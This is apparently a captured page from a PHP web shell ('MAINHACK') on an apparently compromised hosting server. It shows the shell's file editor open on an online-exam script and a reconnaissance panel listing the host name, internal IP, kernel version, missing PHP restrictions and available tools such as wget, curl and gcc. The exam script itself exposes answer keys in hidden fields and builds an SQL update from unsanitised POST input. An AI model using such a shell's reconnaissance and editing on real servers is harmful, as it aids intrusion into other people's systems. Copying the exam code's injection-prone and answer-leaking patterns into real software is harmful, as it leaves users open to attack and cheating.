[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: give_exam.php
<?php include("header.php");$pip=base64_decode($_REQUEST['pip']); ?> <!-- // Header include --> <script src="js/jquery-1.11.1.min.js"></script> <link rel="stylesheet" href="admin@/compiled/flipclock.css"> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script> <script src="admin@/compiled/flipclock.js"></script> <script language="JavaScript"> var message="OFFFFF!!! Dont Do That Again."; function clickIE4(){ if (event.button==2){ alert(message); return false; } } function clickNS4(e){ if (document.layers||document.getElementById&&!document.all){ if (e.which==2||e.which==3){ alert(message); return false; } } } if (document.layers){ document.captureEvents(Event.MOUSEDOWN); document.onmousedown=clickNS4; } else if (document.all&&!document.getElementById){ document.onmousedown=clickIE4; } document.oncontextmenu=new Function("alert(message);return false") </script> <!-- Banner Slider --> <div class="banner-inner" style="height: auto;"> <img src="images/profilebg.png" class="profile-inner" alt=" inner-banner" /> <div class="dec"> <div class="container"> <ul> <li><a href="index.php">Home</a></li> <li><a href="give_exam.php" class="active"> Give Exam</a></li> </ul> <h1>Give Online Exam</h1> </div> </div> </div> <!-- // Banner Slider --> <?php $stmt1=$show->readwithdata('paper_details','paper_id',$pip); while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ $time=$row1['exam_timing']; $paper_name=$row1['paper_name']; $no_of_question=$row1['no_of_question']; } ?> <script type="text/javascript"> window.addEventListener("beforeunload", function (e) { $.ajax({ url: 'logout_closed.php', type: 'POST', async: false, timeout: 4000 }); }) </script> <?php function hoursToSecods($hours) { // $hour must be a string type: "HH:mm:ss" // echo $hours; $parse = array(); if (!preg_match ('#^(?<hours>[\d]{2}):(?<mins>[\d]{2}):(?<secs>[\d]{2})$#',$hours,$parse)) { // Throw error, exception, etc throw new RuntimeException ("Hour Format not valid"); } return (int) $parse['hours'] * 3600 + (int) $parse['mins'] * 60 + (int) $parse['secs']; } $hours=$time; $duration = hoursToSecods($hours); //echo $duration; ?> <input type="hidden" id="time" value="<?=$duration?>"> <div class="giveexam" style=""> <div class="home-title" style=""> <h2> Exam <span> LIVE </span> </h2> <h6><?=$paper_name?></h6> </div> <div class="container"> <div class="giveexam-box" style=""> <h5>Exam Time : <b><?php $time1=explode(":",$time); echo $time1[0]."hrs : ".$time1[1]."mins"; ?> </b></h5> <h3 title="paper_name"><?=$row['paper_name']?> </h3> <h4>Please dont refresh the page the exam will be over</h4> <div class="clock" style="margin:2em;"></div> <div class="message"></div> <script type="text/javascript"> var clock; $(document).ready(function() { var time=$('#time').val(); // alert(time); clock = $('.clock').FlipClock(time, { clockFace: 'HourlyCounter', countdown: true, callbacks: { stop: function() { //$('.message').html('The clock has stopped!'); alert('Yor time is up'); window.location.href='thankyou.php'; } } }); }); </script> <div class="giveexam-paper" style=""> <form method="post" > <?php $count=1; //echo $pip; $stmt=$show->readwithdata_clause('papers','paper_id',$pip,'order by id asc'); $num=$stmt->rowCount(); if($num>0){ while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ $img=$row['question_img']==''?'':'<img src="'.$pic_img.'/'.$row['question_img'].'" width="300px">'; ?> <span class="question"><b><?=$count?>.</b> <?=htmlspecialchars_decode($row['question'])?></span> <p><?=$img?></p> <p class="ans"> <label><input type="radio" name="option<?=$count?>[]" value="<?=$row['option1']?>"><?=$row['option1']?></label> <label><input type="radio" name="option<?=$count?>[]" value="<?=$row['option2']?>"><?=$row['option2']?></label> <label><input type="radio" name="option<?=$count?>[]" value="<?=$row['option3']?>"><?=$row['option3']?></label> <label><input type="radio" name="option<?=$count?>[]" value="<?=$row['option4']?>"><?=$row['option4']?></label> <input type="hidden" name="question<?=$count?>[]" value="<?=$row['question']?>"> <input type="hidden" name="answer<?=$count?>[]" value="<?=$row['answer']?>"> <input type="hidden" name="qid<?=$count?>[]" value="<?=$row['qid']?>"> </p> <?php ++$count; } echo "<br>"; }?> <input type="hidden" name="user_id" value="<?=$_SESSION['login_id']?>"> <input type="hidden" name="paper_id" value="<?=$pip?>"> <input type="hidden" name="no_of_question" value="<?=$no_of_question?>"> <input type="hidden" name="total" value="<?=$no_of_question?>"> <input type="hidden" name="name" value="<?=$_SESSION['login_user']?>"> <input type="hidden" name="email" value="<?=$_SESSION['username']?>"> <input type="hidden" name="phone" value="<?=$_SESSION['phonr']?>"> <input type="submit" name="sub" value="End Exam" class="ans-submit"> </form> <?php if(isset($_POST['sub'])){ /// echo '111111'; $count=1;$total=0; $eid=$show->getid('ids','EXM'); $stmt=$show->readwithdata('papers','paper_id',$pip); while($row=$stmt->fetch(PDO::FETCH_ASSOC)){ $option="option".$count; //echo $option; $marks=0; foreach($_POST[$option] as $key=>$value){ if($value==$_POST['answer'.$count][$key]){ $marks=1; $total +=$marks; }else $marks=0; $data=array( 'paper_id'=>$_POST['paper_id'], 'user_id'=>htmlspecialchars($_POST['user_id']), 'question_id'=>htmlspecialchars($_POST['qid'.$count][$key]), 'given'=>htmlspecialchars($value), 'answer'=>htmlspecialchars($_POST['answer'.$count][$key]), 'exam_id'=>$eid, 'marks'=>$marks, ); // print_r($data); $r1=$show->insert('exam_score',$data); } ++$count;} echo $total; $percentage=(($total/$_POST['total'])*100); // echo $percentage; //echo $total; $data1=array( 'paper_id'=>$_POST['paper_id'], 'user_id'=>$_POST['user_id'], 'name'=>$_POST['name'], 'email'=>$_POST['email'], 'phone'=>$_POST['phone'], 'exam_id'=>$eid, 'total'=>$_POST['total'], 'answered'=>$total, 'percentage'=>$percentage, 'no_of_question'=>$_POST['total'], ); $r11=$show->insert('result',$data1); $update_package="update user_package set given_exam=given_exam+1 where user_id='".$_POST['user_id']."'"; $update_p=$con->prepare($update_package); $update_p->execute(); $link="exam_result.php?eid=".base64_encode($eid)."&pid=".base64_encode($_POST['paper_id']).""; if($r11){ echo "<script> setTimeout(function() { swal({ title: 'Thank You!', text: 'You have given your exam', type: 'success' }, function() { window.location = '$link'; }); }, 1000); </script>"; } } ?> </div> </div> </div> </div> <style> .giveexam .giveexam-box .giveexam-paper form p img{width: auto;} </style> <!-- Header include --> <?php include("footer.php"); ?> <!-- // Header include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.22 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619